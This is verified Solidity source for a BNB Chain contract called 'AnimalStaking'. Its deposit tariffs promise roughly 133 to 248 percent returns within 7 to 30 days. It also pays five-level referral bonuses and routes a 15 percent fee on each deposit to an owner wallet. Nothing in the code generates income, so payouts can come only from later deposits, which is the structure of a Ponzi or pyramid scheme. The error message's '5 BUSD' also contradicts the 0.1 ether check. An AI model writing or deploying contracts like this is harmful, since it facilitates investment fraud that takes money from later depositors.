/** *Submitted for verification at BscScan.com on 2022-04-10 */ /** *Submitted for verification at BscScan.com on 2022-01-09 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } struct Tarif { uint8 life_days; uint8 percent; } struct Deposit { uint8 tarif; uint256 amount; uint40 time; } struct Player { address upline; uint256 dividends; uint256 match_bonus; uint40 last_payout; uint256 total_invested; uint256 total_withdrawn; uint256 total_match_bonus; Deposit[] deposits; uint256[5] structure; } contract AnimalStaking { using SafeMath for uint256; using SafeMath for uint40; uint256 public invested; uint256 public withdrawn; uint256 public match_bonus; uint8 constant BONUS_LINES_COUNT = 5; uint16 constant PERCENT_DIVIDER = 1000; uint256 constant public CEO_FEE = 150; uint40 constant public TIME_STEP =86400; uint8[BONUS_LINES_COUNT] public ref_bonuses = [70, 30, 20, 10 , 5]; mapping(uint8 => Tarif) public tarifs; mapping(address => Player) public players; address payable public ceoWallet; event Upline(address indexed addr, address indexed upline, uint256 bonus); event NewDeposit(address indexed addr, uint256 amount, uint8 tarif); event MatchPayout(address indexed addr, address indexed from, uint256 amount); event Withdraw(address indexed addr, uint256 amount); event FeePayed(address indexed user, uint256 totalAmount); constructor(address payable ceoAddr) { require(!isContract(ceoAddr)); ceoWallet = ceoAddr; uint8 tarifPercent = 133; for (uint8 tarifDuration = 7; tarifDuration <= 30; tarifDuration++) { tarifs[tarifDuration] = Tarif(tarifDuration, tarifPercent); tarifPercent+= 5; } } function _payout(address _addr) private { uint256 payout = this.payoutOf(_addr); if(payout > 0) { players[_addr].last_payout = uint40(block.timestamp); players[_addr].dividends += payout; } } function _refPayout(address _addr, uint256 _amount) private { address up = players[_addr].upline; for(uint8 i = 0; i < BONUS_LINES_COUNT; i++) { if(up == address(0)) break; uint256 bonus = _amount * ref_bonuses[i] / PERCENT_DIVIDER; players[up].match_bonus += bonus; players[up].total_match_bonus += bonus; match_bonus += bonus; emit MatchPayout(up, _addr, bonus); up = players[up].upline; } } function _setUpline(address _addr, address _upline, uint256 _amount) private { if(players[_addr].upline == address(0) && _addr != ceoWallet) { if(players[_upline].deposits.length == 0) { _upline = ceoWallet; } players[_addr].upline = _upline; emit Upline(_addr, _upline, _amount / 100); for(uint8 i = 0; i < BONUS_LINES_COUNT; i++) { players[_upline].structure[i]++; _upline = players[_upline].upline; if(_upline == address(0)) break; } } } function deposit(uint8 _tarif, address _upline) external payable { require(tarifs[_tarif].life_days > 0, "Tarif not found"); uint256 amount = msg.value; require(amount >= 0.1 ether, "Minimum deposit amount is 5 BUSD"); Player storage player = players[msg.sender]; require(player.deposits.length < 100, "Max 100 deposits per address"); uint256 ceo = amount.mul(CEO_FEE).div(PERCENT_DIVIDER); ceoWallet.transfer(ceo); emit FeePayed(msg.sender, ceo); _setUpline(msg.sender, _upline, amount); player.deposits.push(Deposit({ tarif: _tarif, amount: amount, time: uint40(block.timestamp) })); player.total_invested+= amount; invested+= amount; _refPayout(msg.sender, amount); emit NewDeposit(msg.sender, amount, _tarif); } function withdraw() external { Player storage player = players[msg.sender]; _payout(msg.sender); require(player.dividends > 0 || player.match_bonus > 0, "Zero amount"); uint256 amount = player.dividends + player.match_bonus; player.dividends = 0; player.match_bonus = 0; player.total_withdrawn += amount; withdrawn += amount; payable(msg.sender).transfer(amount); emit Withdraw(msg.sender, amount); } function payoutOf(address _addr) view external returns(uint256 value) { Player storage player = players[_addr]; for(uint256 i = 0; i < player.deposits.length; i++) { Deposit storage dep = player.deposits[i]; Tarif storage tarif = tarifs[dep.tarif]; uint40 time_end = dep.time + tarif.life_days * TIME_STEP; uint40 from = player.last_payout > dep.time ? player.last_payout : dep.time; uint40 to = block.timestamp > time_end ? time_end : uint40(block.timestamp); if(from < to) { value += dep.amount * (to.sub(from)) * tarif.percent / tarif.life_days / (TIME_STEP*100); } } return value; } function userInfo(address _addr) view external returns(uint256 for_withdraw, uint256 total_invested, uint256 total_withdrawn, uint256 total_match_bonus, uint256[BONUS_LINES_COUNT] memory structure) { Player storage player = players[_addr]; uint256 payout = this.payoutOf(_addr); for(uint8 i = 0; i < BONUS_LINES_COUNT; i++) { structure[i] = player.structure[i]; } return ( payout + player.dividends + player.match_bonus, player.total_invested, player.total_withdrawn, player.total_match_bonus, structure ); } function contractInfo() view external returns(uint256 _invested, uint256 _withdrawn, uint256 _match_bonus) { return (invested, withdrawn, match_bonus); } function isContract(address addr) internal view returns (bool) { uint size; assembly { size := extcodesize(addr) } return size > 0; } }
0.4.18